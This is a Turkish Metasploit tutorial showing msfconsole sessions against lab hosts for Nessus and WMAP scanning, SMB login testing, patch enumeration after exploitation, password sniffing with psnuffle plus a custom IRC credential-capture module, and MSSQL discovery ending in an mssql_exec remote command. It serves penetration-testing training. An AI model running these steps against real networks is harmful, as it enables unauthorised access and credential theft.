> Creating scan from policy number 1, called "pwnage" and scanning 192.168.1.161
> Scan started. uid is 9d337e9b-82c7-89a1-a194-4ef154b82f624de2444e6ad18a1f
msf >
Devam Eden Tarama Durumunu Görüntüleme
nessus_scan_new komutuyla başlattığınız taramanın ne durumda olduğunu, nessus_scan_status komutuyla kontrol edebilirsiniz.
msf > nessus_scan_status
**[**+] Running Scans
Scan ID Name Owner Started Status Current Hosts Total Hosts
------- ---- ----- ------- ------ ------------- -----------
9d337e9b-82c7-89a1-a194-4ef154b82f624de2444e6ad18a1f pwnage dook 19:39 Sep 272010 running 01> You can:
**[**+] Import Nessus report to database : nessus_report_get reportid
**[**+] Pause a nessus scan : nessus_scan_pause scanid
msf > nessus_scan_status
> No Scans Running.
> You can:
> List of completed scans: nessus_report_list
> Create a scan: nessus_scan_new policy id scan name target**(**s**)**
msf >
Tarama Sonucunu Alma
Nessus taraması tamamlandığında kendi içinde bir rapor oluşturur. Metasploit Framework içine alınabilecek raporların listesini nessus_report_list komutuyla görüntüleyelim. Ardından, raporun ID numarasını vererek, nessus_report_get komutuyla msfconsole içine ithal edelim.
msf > nessus_report_list
**[**+] Nessus Report List
ID Name Status Date
-- ---- ------ ----
9d337e9b-82c7-89a1-a194-4ef154b82f624de2444e6ad18a1f pwnage completed 19:47 Sep 272010> You can:
> Get a list of hosts from the report: nessus_report_hosts report id
msf > nessus_report_get
> Usage:
> nessus_report_get report id
> use nessus_report_list to list all available reports **for **importing
msf > nessus_report_get 9d337e9b-82c7-89a1-a194-4ef154b82f624de2444e6ad18a1f
> importing 9d337e9b-82c7-89a1-a194-4ef154b82f624de2444e6ad18a1f
msf >
Sonuçları Görüntüleme
İçeri aktarılan tarama sonuçlarını, önceki bölümde olduğu gibi hosts, services ve vulns komutlarıyla görüntüleyebilirsiniz.
WMAP, kullanıcılara geniş imkanlar sağlayan bir web uygulama zafiyet tarama aracıdır. Orijinal olarak sqlmap programından türemiştir. Bu yazıda, Metasploit içerisine entegre edilen WMAP kullanımını göreceğiz.
WMAP, kullanıcılara geniş imkanlar sağlayan bir web uygulama zafiyet tarama aracıdır. Orijinal olarak sqlmap programından türemiştir. Bu yazıda, Metasploit içerisine entegre edilen WMAP kullanımını göreceğiz.
wmap Yükleme
Öncelikle workspace -a wmap komutuyla yeni bir veri tabanı oluşturalım. Ardından load wmap komutuyla eklentiyi yükleyelim.
Web uygulama taramasına başlamadan önce, hedef URL adresini -a parametresiyle wmap_sites tablosuna eklememiz gerekiyor. Ardından wmap_sites -l komutunu verirseniz, kayıtlı URL adreslerini görebilirsiniz.
msf > wmap_sites -h
> Usage: wmap_targets **[**options] -h Display this help text
-a **[**url] Add site **(**vhost,url**)**
-l List all available sites
-s **[**id**]** Display site structure **(**vhost,url|ids**)** **(**level**)**
msf > wmap_sites -a <a href="http://172.16.194.172/">http://172.16.194.172</a>
> Site created.
msf > wmap_sites -l
> Available sites
**===============**
Id Host Vhost Port Proto # Pages # Forms -- ---- ----- ---- ----- ------- -------
0 172.16.194.172 172.16.194.172 80 http 00
wmap_targets Ayarlama
wmap_sites tabloları, kayıt tutan bir tablodur. İleride kullanabileceğiniz adresleri listeler. Taramanın gerçekleştirileceği adresi wmap_targets tablosuna -t parametresiyle ayarlamamız gerekiyor.
msf > wmap_targets -h
> Usage: wmap_targets **[**options] -h Display this help text
-t **[**urls] Define target sites **(**vhost1,url[space]vhost2,url**)**
-d **[**ids] Define target sites **(**id1, id2, id3 ...**)**
-c Clean target sites list
-l List all target sites
msf > wmap_targets -t <a href="http://172.16.194.172/mutillidae/index.php">http://172.16.194.172/mutillidae/index.php</a>
Modüllerde, yaptığımız değişken ayarlarını nasıl show options ile kontrol ediyorsak, aynen bu şekilde wmap_targets -l komutu ile taranacak hedeflerin listesini kontrol edebiliriz.
msf > wmap_targets -l
> Defined targets
**===============**
Id Vhost Host Port SSL Path
-- ----- ---- ---- --- ----
0 172.16.194.172 172.16.194.172 80false /mutillidae/index.php
wmap_run Çalıştırma
wmap_run -e komutu, eklentiyi çalıştıracak ve taramayı başlatacaktır. Yardım için -h parametresini kullanabilirsiniz. wmap_run -e komutunun hangi modülleri kullanacağını görmek için -t parametresi kullanılabilir.
msf > wmap_run -h
> Usage: wmap_run **[**options] -h Display this help text
-t Show all enabled modules
-m **[**regex] Launch only modules that name match provided regex.
-p **[**regex] Only test path defined by regex.
-e **[**/path/to/profile] Launch profile modules against all matched targets.
**(**No profile file runs all enabled modules.**)**
msf > wmap_run -t
> Testing target:
> Site: 192.168.1.100 **(**192.168.1.100**)**
> Port: 80 SSL: false> **============================================================**
> Testing started. 2012-01-16 15:46:42 -0500
>
**=[** SSL testing **]=**
> **============================================================**
> Target is not SSL. SSL modules disabled.
>
**=[** Web Server testing **]=**
> **============================================================**
> Loaded auxiliary/admin/http/contentkeeper_fileaccess ...
> Loaded auxiliary/admin/http/tomcat_administration ...
> Loaded auxiliary/admin/http/tomcat_utf8_traversal ...
> Loaded auxiliary/admin/http/trendmicro_dlp_traversal ...
..snip...
msf >
Taramayı başlatmak için wmap_run -e komutunu kullandığınızda tarama başlayacaktır.
msf > wmap_run -e
> Using ALL wmap enabled modules.
**[**-] NO WMAP NODES DEFINED. Executing local modules
> Testing target:
> Site: 172.16.194.172 **(**172.16.194.172**)**
> Port: 80 SSL: false**============================================================**
> Testing started. 2012-06-27 09:29:13 -0400
>
**=[** SSL testing **]=**
**============================================================**
> Target is not SSL. SSL modules disabled.
>
**=[** Web Server testing **]=**
**============================================================**
> Module auxiliary/scanner/http/http_version
> 172.16.194.172:80 Apache/2.2.8 **(**Ubuntu**)** DAV/2 **(** Powered by PHP/5.2.4-2ubuntu5.10 **)**
> Module auxiliary/scanner/http/open_proxy
> Module auxiliary/scanner/http/robots_txt
..snip...
..snip...
..snip...
> Module auxiliary/scanner/http/soap_xml
> Path: /
> Server 172.16.194.172:80 returned HTTP 404 **for** /. Use a different one.
> Module auxiliary/scanner/http/trace_axd
> Path: /
> Module auxiliary/scanner/http/verb_auth_bypass
>
**=[** Unique Query testing **]=**
**============================================================**
> Module auxiliary/scanner/http/blind_sql_query
> Module auxiliary/scanner/http/error_sql_injection
> Module auxiliary/scanner/http/http_traversal
> Module auxiliary/scanner/http/rails_mass_assignment
> Module exploit/multi/http/lcms_php_exec
>
**=[** Query testing **]=**
**============================================================**
>
**=[** General testing **]=**
**============================================================**
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Launch completed **in **212.01512002944946 seconds.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
> Done.
Sonuçları Görüntüleme
Tarama tamamlandığında, bulunan zafiyetleri görmek için wmap_vulns -l komutunu verebilirsiniz.
msf > wmap_vulns -l
> + **[**172.16.194.172] **(**172.16.194.172**)**: scraper /
> scraper Scraper
> GET Metasploitable2 - Linux
> + **[**172.16.194.172] **(**172.16.194.172**)**: directory /dav/
> directory Directory found.
> GET Res code: 200> + **[**172.16.194.172] **(**172.16.194.172**)**: directory /cgi-bin/
> directory Directoy found.
> GET Res code: 403...snip...
msf >
vulns komutu, bulunan zafiyetlerin detaylarını gösterecektir.
Örnek çıktıda görüldüğü gibi refs=CVE-2005-3398,CVE-2005-3498,OSVDB-877,BID-11604,BID-9506,BID-9561 bölümünde bulunan zafiyetin referans ismi rapor edilmektedir. Bu noktadan sonra detaylı bilgi toplama ve bu zafiyet hakkında araştırma yapmamız gerekmektedir.
2.40 - MSF İçinde VNC Server Tarama
Bazen sistem yöneticileri, kurdukları servislerin güvenlik ayarlarını yapmayı eksik bırakırlar. Klasik yapılan hatalardan bir tanesi de ağda çalışan servislerin guest olarak tabir edilen kullanıcılara kapatılmamasıdır. VNC Server, bir bilgisayara uzaktan bağlanılmasını sağlayan servistir.
Bazen sistem yöneticileri, kurdukları servislerin güvenlik ayarlarını yapmayı eksik bırakırlar. Klasik yapılan hatalardan bir tanesi de ağda çalışan servislerin guest olarak tabir edilen kullanıcılara kapatılmamasıdır. VNC Server, bir bilgisayara uzaktan bağlanılmasını sağlayan servistir.
Aşağıdaki örnekte, belli bir IP aralığında çalışan ve parolasız erişime izin verilen VNC Server olup olmadığını arayan modül kullanılmıştır. Bu modüle Metasploit Framework içinde VNC Authentication None Scanner adı verilmektedir.
Sistem yöneticisi iseniz, servislerinizi yapılandırırken, bu tür açıkları sürekli arayan birileri olduğunu aklınızdan çıkartmamalısınız.
msf auxiliary**(**vnc_none_auth**)** > use auxiliary/scanner/vnc/vnc_none_auth
msf auxiliary**(**vnc_none_auth**)** > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 5900 yes The target port
THREADS 1 yes The number of concurrent threads
msf auxiliary**(**vnc_none_auth**)** > set RHOSTS 192.168.1.0/24
RHOSTS **=>** 192.168.1.0/24
msf auxiliary**(**vnc_none_auth**)** > set THREADS 50THREADS **=>** 50msf auxiliary**(**vnc_none_auth**)** > run
> 192.168.1.121:5900, VNC server protocol version : RFB 003.008
> 192.168.1.121:5900, VNC server security types supported : None, free access!
> Auxiliary module execution completed
Çıktıda görüldüğü gibi, 192.168.1.121:5900 adresinde VNC Server, parolasız olarak bağlanmaya izin vermektedir.
2.41 - MSF İçinde SMB Login Kontrolü
Yaptığınız taramalarda, bir şekilde kullanıcı adı ve parola bulduğunuzu düşünüyorsunuz. Bu kullanıcı adı ve parolanın başka hangi servislerde kullanıldığını denemek isteyebilirsiniz. Bu noktada denenebilecek en mantıklı servis SMB olarak adlandırılan ağ üzerinde dosya paylaşım servisidir.
Önceki yazılarımızda “Bilgi Toplama” modüllerinden bir kısmını gördük. IP ve Port tarama ile birlikte servislerin bulunmadı konularını ele aldık. Bir sonraki aşama “Zafiyet Taraması” olarak adlandırılır. Pentest aşamalarından “Bilgi Toplama” işlemleri ne kadar iyi ve sağlıklı yapılırsa, sonraki aşamalarda verim elde etmeniz de o kadar mümkün olacaktır.
Yaptığınız taramalarda, bir şekilde kullanıcı adı ve parola bulduğunuzu düşünüyorsunuz. Bu kullanıcı adı ve parolanın başka hangi servislerde kullanıldığını denemek isteyebilirsiniz. Bu noktada denenebilecek en mantıklı servis SMB olarak adlandırılan ağ üzerinde dosya paylaşım servisidir.
Aşağıdaki örnekte, smb_login modülü kullanılmakta ve önceden bulunan bir kullanıcı adı ve parola denenmektedir. Bu tarama türünde, hedef bilgisayar Windows ise dikkatli olmalısınız çünkü başarısız her deneme, sistem yöneticisine ikaz olarak iletilir. smb_login taramanın çok gürültü çıkarttığını bilmelisiniz.
Yaptığınız smb_login taramasında başarılı bir oturum açma gerçekleşirse, devamında windows/smb/psexec modülünü kullanarak Meterpreter shell açma denenebilir.
msf > use auxiliary/scanner/smb/smb_login
msf auxiliary**(**smb_login**)** > show options
Module options **(**auxiliary/scanner/smb/smb_login**)**:
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS true no Try blank passwords **for **all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 PASS_FILE no File containing passwords, one per line
PRESERVE_DOMAINS true no Respect a username that contains a domain name.
RHOSTS yes The target address range or CIDR identifier
RPORT 445 yes Set the SMB service port
SMBDomain WORKGROUP no SMB Domain
SMBPass no SMB Password
SMBUser no SMB Username
STOP_ON_SUCCESS false yes Stop guessing when a credential works **for **a host
THREADS 1 yes The number of concurrent threads
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS true no Try the username as the password **for **all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output **for **all attempts
msf auxiliary**(**smb_login**)** > set RHOSTS 192.168.1.0/24
RHOSTS **=>** 192.168.1.0/24
msf auxiliary**(**smb_login**)** > set SMBUser victim
SMBUser **=>** victim
msf auxiliary**(**smb_login**)** > set SMBPass s3cr3t
SMBPass **=>** s3cr3t
msf auxiliary**(**smb_login**)** > set THREADS 50THREADS **=>** 50msf auxiliary**(**smb_login**)** > run
> 192.168.1.100 - FAILED 0xc000006d - STATUS_LOGON_FAILURE
> 192.168.1.111 - FAILED 0xc000006d - STATUS_LOGON_FAILURE
> 192.168.1.114 - FAILED 0xc000006d - STATUS_LOGON_FAILURE
> 192.168.1.125 - FAILED 0xc000006d - STATUS_LOGON_FAILURE
> 192.168.1.116 - SUCCESSFUL LOGIN **(**Unix**)**
> Auxiliary module execution completed
msf auxiliary**(**smb_login**)** >
Örnek çıktıda görüldüğü gibi, 192.168.1.116 IP adresinde başarılı bir oturum açma işlemi gerçekleşmiştir.
2.42 - MSF İçinde Windows Güncelleme Keşfi
Metasploit Framework içerisinden bir Windows işletim sistemine Meterpreter shell açtığınızda, işletim sisteminin hangi güncellemeleri ve yamaları yaptığını, hangilerini yapmadığını keşfetmek isteyebilirsiniz.
Metasploit Framework içerisinden bir Windows işletim sistemine Meterpreter shell açtığınızda, işletim sisteminin hangi güncellemeleri ve yamaları yaptığını, hangilerini yapmadığını keşfetmek isteyebilirsiniz.
Bunun için kullanılan post/windows/gather/enum_patches modülünün kullanımına ait bir örneği aşağıda bulabilirsiniz. Modül, isminden de anlaşılacağı gibi bir post exploitation modülüdür ve öncelikle hedef bilgisayarda bir meterpreter açık olmalıdır.
Aşağıdaki çıktıda, use komutu ile modül yüklenmiş ve seçenekleri görüntülenmiştir.
msf exploit**(**handler**)** > use post/windows/gather/enum_patches
msf post**(**enum_patches**)** > show options
Module options **(**post/windows/gather/enum_patches**)**:
Name Current Setting Required Description
---- --------------- -------- -----------
KB KB2871997, KB2928120 yes A comma separated list of KB patches to search **for
**MSFLOCALS true yes Search **for **missing patchs **for **which there is a MSF local module
SESSION yes The session to run this module on.
Modül hakkında detaylı bilgileri show advanced komutuyla inceleyebilirsiniz.
msf post**(**enum_patches**)** > show advanced
Module advanced options **(**post/windows/gather/enum_patches**)**:
Name : VERBOSE
Current Setting: true Description : Enable detailed status messages
Name : WORKSPACE
Current Setting:
Description : Specify the workspace **for **this module
Bir exploit kullanarak Windows işletim sistemin Meterpreter shell açtıktan sonra oturumu arka plana gönderin ve use komutuyla enum_patches modülünü yükleyin. Aşağıdaki show options komutundaki çıktıda bulunan SESSION değişkeni, arka plana gönderdiğimiz meterpreter shell in oturum numarası olmalıdır. Arka plandaki oturumları sessions -l komutu ile görebilirsiniz. Gerekli kontrolleri yaptıktan sonra run komutunu verdiğinizde Windows bilgisayarın hangi güncellemeleri yapıp yapmadığını görebilirsiniz.
msf post**(**enum_patches**)** > show options
Module options **(**post/windows/gather/enum_patches**)**:
Name Current Setting Required Description
---- --------------- -------- -----------
KB KB2871997, KB2928120 yes A comma separated list of KB patches to search **for
**MSFLOCALS true yes Search **for **missing patchs **for **which there is a MSF local module
SESSION 1 yes The session to run this module on.
msf post**(**enum_patches**)** > run
> KB2871997 applied
**[**+] KB2928120 is missing
**[**+] KB977165 - Possibly vulnerable to MS10-015 kitrap0d **if **Windows 2K SP4 - Windows 7 **(**x86**)**
> KB2305420 applied
**[**+] KB2592799 - Possibly vulnerable to MS11-080 afdjoinleaf **if **XP SP2/SP3 Win 2k3 SP2
**[**+] KB2778930 - Possibly vulnerable to MS13-005 hwnd_broadcast, elevates from Low to Medium integrity
**[**+] KB2850851 - Possibly vulnerable to MS13-053 schlamperei **if **x86 Win7 SP0/SP1
**[**+] KB2870008 - Possibly vulnerable to MS13-081 track_popup_menu **if **x86 Windows 7 SP0/SP1
> Post module execution completed
Yukarıda görüldüğü gibi başında [+] işareti bulunan güncellemelerin sistemde yapılmadığı rapor edilmektedir.
2.43 - MSF İçinde Parola Dinleme
Metasploit kullanarak, ağda bulunan pop3, imap, ftp ve HTTP protokolleri üzerinden gönderilen parolaları dinleyebilirsiniz. Bu amaçla ‘psnuffle‘ modülü bulunmaktadır.
Metasploit kullanarak, ağda bulunan pop3, imap, ftp ve HTTP protokolleri üzerinden gönderilen parolaları dinleyebilirsiniz. Bu amaçla ‘psnuffle‘ modülü bulunmaktadır.
psnuffle modülü, neredeyse hiçbir ayarlama yapmaya gerek kalmadan kullanılabilir. İsterseniz dışarıdan PCAP dosyası ithal edebilirsiniz. Buradaki örnekte, ayarlar olduğu gibi kullanılacaktır.
msf > use auxiliary/sniffer/psnuffle
msf auxiliary**(**psnuffle**)** > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILTER no The filter string **for **capturing traffic
INTERFACE no The name of the interface
PCAPFILE no The name of the PCAP capture file to process
PROTOCOLS all yes A comma-delimited list of protocols to sniff or "all".
SNAPLEN 65535 yes The number of bytes to capture
TIMEOUT 1 yes The number of seconds to wait **for **new data
msf auxiliary**(**psnuffle**)** > run
> Auxiliary module execution completed
> Loaded protocol FTP from /usr/share/metasploit-framework/data/exploits/psnuffle/ftp.rb...
> Loaded protocol IMAP from /usr/share/metasploit-framework/data/exploits/psnuffle/imap.rb...
> Loaded protocol POP3 from /usr/share/metasploit-framework/data/exploits/psnuffle/pop3.rb...
> Loaded protocol URL from /usr/share/metasploit-framework/data/exploits/psnuffle/url.rb...
> Sniffing traffic.....
> Successful FTP Login: 192.168.1.100:21-192.168.1.5:48614 **>>** victim / pass **(**220 3Com 3CDaemon FTP Server Version 2.0**)**
Gördüğünüz gibi FTP protokolünde victim kullanıcı adı ve pass parolası ortaya çıkarıldı.
Psnuffle Özelleştirme
İsterseniz, psnuffle aracını, varsayılan olarak dinlediği protokoller haricinde diğer protokoller için de tasarlayabilirsiniz.
Bu özelleştirme işlemi için yapılacak modüller, data/exploits/psnuffle klasörünün içine kaydedilmelidir. Yeni bir modül geliştirmek için öncelikle var olan bir modülü şablon olarak kullanabiliriz.
Aşağıda, POP3 modülünün Düzenli ifadeler kısmı görülmektedir. Bu düzenli ifadeler, dinleme esnasında hangi tür şablona uyan verilerin dikkate alınacağını tanımlamaktadır. Bir miktar karışık gibi görünebilir. Ancak düzenli ifadeleri öğrenmenizi tavsiye ediyoruz. Her yerde karşınıza çıkar ve öğrenirseniz, işinizi kolaylaştırırlar.
Aşağıdaki örneklerde, IRC protokolü için yazılmış bir modülde olması gerekenleri görebilirsiniz.
Öncelikle, dikkate alınacak sinyal tiplerini tanımlayalım. Buradaki IRC komutlarından IDENTIFY, her IRC sunucu tarafından kullanılmamaktadır. En azında Freenode bu şekilde kullanır.
Her modül için mutlaka tanımlanması gereken kısım, hangi Portlar ile ilgileneceğidir. Bu tanımlama için aşağıdaki şablonu kullanabilirsiniz.
**return if **not pkt[:tcp]# We don't want to handle anything other than tcp**return if** **(**pkt[:tcp].src_port **!=** 6667 and pkt[:tcp].dst_port **!=** 6667**)** # Process only packet on port 6667#Ensure that the session hash stays the same for both way of communication**if** **(**pkt[:tcp].dst_port **==** 6667**)** # When packet is sent to servers **=** find_session**(**"#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}-#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}"**)**
**else** # When packet is coming from the servers **=** find_session**(**"#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}-#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}"**)**
end
Şimdi ise self.sigs bölümünde şablonu oluşturulan türde bir paket yakalandığında ne yapılacağını ayarlamanız gerekmekte. Bunun için de aşağıdaki şablonu kullanabilirsiniz.
**case** matched
when :user # when the pattern "/^(NICKs+[^n]+)/si" is matching the packet contents[:user]**=**matches #Store the name into the session hash s for later use# Do whatever you like here... maybe a puts if you need towhen :pass # When the pattern "/b(IDENTIFYs+[^n]+)/si" is matchings[:pass]**=**matches # Store the password into the session hash s as well**if** **(**s[:user] and s[:pass])# When we have the name and the pass sniffed, print itprint "-> IRC login sniffed: #{s[:session]} >> username:#{s[:user]} password:#{s[:pass]}n"end
sessions.delete**(**s[:session]**)** # Remove this session because we dont need to track it anymorewhen nil
# No matches, don't do anything else # Just in case anything else is matching...sessions[s[:session]].merge!**({**k **=>** matches**})** # Just add it to the session objectend
Tebrikler kendi modülünüzü yazdınız.
2.44 - MSF İçinde Servis Tarama
Metasploit Framework içerisinde, belirli Portlarda çalışan servisleri bulmak ve bunların versiyon numaralarını tespit etmek için bir takım modüller bulunur. nmap ile yapılan servis taraması gibi bir takım bilgi toplama faaliyetlerinde bunları kullanabilirsiniz.
Metasploit Framework içerisinde, belirli Portlarda çalışan servisleri bulmak ve bunların versiyon numaralarını tespit etmek için bir takım modüller bulunur. nmap ile yapılan servis taraması gibi bir takım bilgi toplama faaliyetlerinde bunları kullanabilirsiniz.
SSH Servisi
Aşağıdaki örnekte, önceden bir tarama yaptığımız ve iki farklı IP adresinde ssh servisinin çalıştığı bulunmuştur.
msf > services -p 22 -c name,port,proto
Services
**========**
host name port proto
---- ---- ---- -----
172.16.194.163 ssh 22 tcp
172.16.194.172 ssh 22 tcp
Şimdi bu servislerin hangi sürüm SSH çalıştırdıklarını keşfedelim. Bunun için auxiliary/scanner/ssh/ssh_version isimli modülü kullanacağız.
msf > use auxiliary/scanner/ssh/ssh_version
msf auxiliary**(**ssh_version**)** > set RHOSTS 172.16.194.163 172.16.194.172
RHOSTS **=>** 172.16.194.163 172.16.194.172
msf auxiliary**(**ssh_version**)** > show options
Module options **(**auxiliary/scanner/ssh/ssh_version**)**:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 172.16.194.163 172.16.194.172 yes The target address range or CIDR identifier
RPORT 22 yes The target port
THREADS 1 yes The number of concurrent threads
TIMEOUT 30 yes Timeout **for **the SSH probe
msf auxiliary**(**ssh_version**)** > run
> 172.16.194.163:22, SSH server version: SSH-2.0-OpenSSH_5.3p1 Debian-3ubuntu7
> Scanned 1 of 2 hosts **(**050% complete**)**
> 172.16.194.172:22, SSH server version: SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
> Scanned 2 of 2 hosts **(**100% complete**)**
> Auxiliary module execution completed
Sonuç çıktısında görebileceğiniz gibi SSH sürüm numaraları tespit edilmiştir.
FTP Servisi
Yanlış yapılandırılmış FTP servislerinin zayıf yanları kullanılarak sisteme erişim sağlanabilir. Herhangi bir IP adresinde 21 numaralı Portun açık olduğunu görürseniz, orada çalışan FTP servisinin Anonymous girişe izin verip vermediğini kontrol etmeniz faydalı olacaktır. Aşağıdaki örnekte, ftp_version modülü kullanılmaktadır. Tek bir IP adresi taranacağından, THREADS değişkeni 1 olarak ayarlanmıştır.
Öncelikle, services tablomuzdaki ilgilerden 21 Numaralı portun açık olduğu IP adreslerini listeleyelim.
msf > services -p 21 -c name,proto
Services
**========**
host name proto
---- ---- -----
172.16.194.172 ftp tcp
Ardından, auxiliary/scanner/ftp/ftp_version modülünü kullanalım.
msf > use auxiliary/scanner/ftp/ftp_version
msf auxiliary**(**ftp_version**)** > set RHOSTS 172.16.194.172
RHOSTS **=>** 172.16.194.172
msf auxiliary**(**anonymous**)** > show options
Module options **(**auxiliary/scanner/ftp/anonymous**)**:
Name Current Setting Required Description
---- --------------- -------- -----------
FTPPASS mozilla@example.com no The password **for **the specified username
FTPUSER anonymous no The username to authenticate as
RHOSTS 172.16.194.172 yes The target address range or CIDR identifier
RPORT 21 yes The target port
THREADS 1 yes The number of concurrent threads
msf auxiliary**(**anonymous**)** > run
> 172.16.194.172:21 Anonymous READ **(**220 **(**vsFTPd 2.3.4**))**
> Scanned 1 of 1 hosts **(**100% complete**)**
> Auxiliary module execution completed
Görüldüğü gibi, çok kısa zamanda SSH ve FTP servisleri hakkında bilgiler topladık. Metasploit Framework içerisinde bunlara benzer oldukça fazla keşif modülü bulunmaktadır. Vakit ayırıp listeyi incelemenizde fayda var. Yaklaşık sayıyı aşağıdaki çıktıda görebilirsiniz.
msf > use auxiliary/scanner/
Display all 485 possibilities? **(**y or n**)**```
2.45 - MSF İçinde MSSQL Tarama
Metasploit Framework’ün kullanıcıya sağladığı imkanlardan bir tanesi de dahil bulunduğunuz ağdaki diğer Ip adreslerinde MSSQL kurulumunun olup olmadığını araştırabilmenizdir. Bunun için UDP tarama ile iz araması yapılır.
Metasploit Framework’ün kullanıcıya sağladığı imkanlardan bir tanesi de dahil bulunduğunuz ağdaki diğer Ip adreslerinde MSSQL kurulumunun olup olmadığını araştırabilmenizdir. Bunun için UDP tarama ile iz araması yapılır.
MSSQL ilk kurulduğunda varsayılan olara 1433 numaralı porttan dinleme yapar. Dinlemenin, 1433 portundan değil de rastgele seçilen portlardan yapılması ayarlanmış olabilir. Bu durumda da 1434 numaralı porta, dinlemenin hangi porttan yapıldığı sorulabilir.
Aşağıdaki örnekte, öncelikle içinde mssql ifadesi geçen modüller aranmaktadır.
msf > search mssql
Matching Modules
**================**
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/mssql/mssql_enum normal Microsoft SQL Server Configuration Enumerator
auxiliary/admin/mssql/mssql_enum_domain_accounts normal Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration
auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli normal Microsoft SQL Server SQLi SUSER_SNAME Windows Domain Account Enumeration
auxiliary/admin/mssql/mssql_enum_sql_logins normal Microsoft SQL Server SUSER_SNAME SQL Logins Enumeration
auxiliary/admin/mssql/mssql_escalate_dbowner normal Microsoft SQL Server Escalate Db_Owner
auxiliary/admin/mssql/mssql_escalate_dbowner_sqli normal Microsoft SQL Server SQLi Escalate Db_Owner
auxiliary/admin/mssql/mssql_escalate_execute_as normal Microsoft SQL Server Escalate EXECUTE AS
auxiliary/admin/mssql/mssql_escalate_execute_as_sqli normal Microsoft SQL Server SQLi Escalate Execute AS
auxiliary/admin/mssql/mssql_exec normal Microsoft SQL Server xp_cmdshell Command Execution
auxiliary/admin/mssql/mssql_findandsampledata normal Microsoft SQL Server Find and Sample Data
auxiliary/admin/mssql/mssql_idf normal Microsoft SQL Server Interesting Data Finder
auxiliary/admin/mssql/mssql_ntlm_stealer normal Microsoft SQL Server NTLM Stealer
auxiliary/admin/mssql/mssql_ntlm_stealer_sqli normal Microsoft SQL Server SQLi NTLM Stealer
auxiliary/admin/mssql/mssql_sql normal Microsoft SQL Server Generic Query
auxiliary/admin/mssql/mssql_sql_file normal Microsoft SQL Server Generic Query from File
auxiliary/analyze/jtr_mssql_fast normal John the Ripper MS SQL Password Cracker **(**Fast Mode**)**
auxiliary/gather/lansweeper_collector normal Lansweeper Credential Collector
auxiliary/scanner/mssql/mssql_hashdump normal MSSQL Password Hashdump
auxiliary/scanner/mssql/mssql_login normal MSSQL Login Utility
auxiliary/scanner/mssql/mssql_ping normal MSSQL Ping Utility
auxiliary/scanner/mssql/mssql_schemadump normal MSSQL Schema Dump
auxiliary/server/capture/mssql normal Authentication Capture: MSSQL
exploit/windows/iis/msadc 1998-07-17 excellent MS99-025 Microsoft IIS MDAC msadcs.dll RDS Arbitrary Remote Command Execution
exploit/windows/mssql/lyris_listmanager_weak_pass 2005-12-08 excellent Lyris ListManager MSDE Weak sa Password
exploit/windows/mssql/ms02_039_slammer 2002-07-24 good MS02-039 Microsoft SQL Server Resolution Overflow
exploit/windows/mssql/ms02_056_hello 2002-08-05 good MS02-056 Microsoft SQL Server Hello Overflow
exploit/windows/mssql/ms09_004_sp_replwritetovarbin 2008-12-09 good MS09-004 Microsoft SQL Server sp_replwritetovarbin Memory Corruption
exploit/windows/mssql/ms09_004_sp_replwritetovarbin_sqli 2008-12-09 excellent MS09-004 Microsoft SQL Server sp_replwritetovarbin Memory Corruption via SQL Injection
exploit/windows/mssql/mssql_clr_payload 1999-01-01 excellent Microsoft SQL Server Clr Stored Procedure Payload Execution
exploit/windows/mssql/mssql_linkcrawler 2000-01-01 great Microsoft SQL Server Database Link Crawling Command Execution
exploit/windows/mssql/mssql_payload 2000-05-30 excellent Microsoft SQL Server Payload Execution
exploit/windows/mssql/mssql_payload_sqli 2000-05-30 excellent Microsoft SQL Server Payload Execution via SQL Injection
post/windows/gather/credentials/mssql_local_hashdump normal Windows Gather Local SQL Server Hash Dump
post/windows/manage/mssql_local_auth_bypass normal Windows Manage Local Microsoft SQL Server Authorization Bypass
Listelenen modüllerden auxiliary/scanner/mssql/mssql_ping isimli modülü kullanacağız. Aşağıdaki örnekte 10.211.55.1/24 IP adres aralığına MSSQL taraması yapılmaktadır.
msf > use auxiliary/scanner/mssql/mssql_ping
msf auxiliary**(**mssql_ping**)** > show options
Module options **(**auxiliary/scanner/mssql/mssql_ping**)**:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password **for **the specified username
RHOSTS yes The target address range or CIDR identifier
TDSENCRYPTION false yes Use TLS/SSL **for **TDS data "Force Encryption" THREADS 1 yes The number of concurrent threads
USERNAME sa no The username to authenticate as
USE_WINDOWS_AUTHENT false yes Use windows authentification **(**requires DOMAIN option set**)**
msf auxiliary**(**mssql_ping**)** > set RHOSTS 10.211.55.1/24
RHOSTS **=>** 10.211.55.1/24
msf auxiliary**(**mssql_ping**)** > exploit
> SQL Server information **for **10.211.55.128:
> tcp **=** 1433> np **=** SSHACKTHISBOX-0pipesqlquery
> Version **=** 8.00.194
> InstanceName **=** MSSQLSERVER
> IsClustered **=** No
> ServerName **=** SSHACKTHISBOX-0
> Auxiliary module execution completed
Sonuçta görüldüğü gibi 10.211.55.128 IP adresinde ve 1433 numaralı Portta MSSQL servisi çalışmaktadır. Bu noktadan sonra mssql_exec modülü kullanılarak brute-force denemeleri yapılabilir. Alternatif olarak medusa veya THC-Hydra kullanılabilir.
msf auxiliary**(**mssql_login**)** > use auxiliary/admin/mssql/mssql_exec
msf auxiliary**(**mssql_exec**)** > show options
Module options **(**auxiliary/admin/mssql/mssql_exec**)**:
Name Current Setting Required Description
---- --------------- -------- -----------
CMD cmd.exe /c echo OWNED > C:\owned.exe no Command to execute
PASSWORD no The password **for **the specified username
RHOST yes The target address
RPORT 1433 yes The target port **(**TCP**)**
